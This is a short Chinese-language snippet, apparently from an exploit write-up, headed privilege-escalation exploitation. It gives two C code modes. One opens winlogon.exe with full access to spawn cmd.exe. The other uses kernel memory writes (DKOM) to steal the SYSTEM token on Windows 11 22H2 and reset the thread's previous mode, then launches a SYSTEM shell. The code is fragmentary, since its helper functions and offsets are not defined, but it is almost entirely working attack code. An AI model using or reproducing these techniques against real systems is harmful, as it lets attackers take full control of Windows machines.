提权利用 模式1 - TOKEN权限提权:
1 2 3 4 5 6 #ifdef _SEP_TOKEN_PRIVILEGES HANDLE hWinLogon = OpenProcess (PROCESS_ALL_ACCESS, 0 , GetPidByName (L"winlogon.exe" )); CreateProcessFromHandle (hWinLogon, (LPSTR)"cmd.exe" );#endif
模式2 - DKOM(Direct Kernel Object Manipulation)提权:
1 2 3 4 5 6 7 8 9 10 11 12 13 #elif defined _PREVIOUS_MODE Write64 (Ptr64 (Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), Ptr64 (Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), TOKEN_SIZE); KPROCESSOR_MODE mode = UserMode; Write64 (Ptr64 (Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof (mode));system ("cmd.exe" );#endif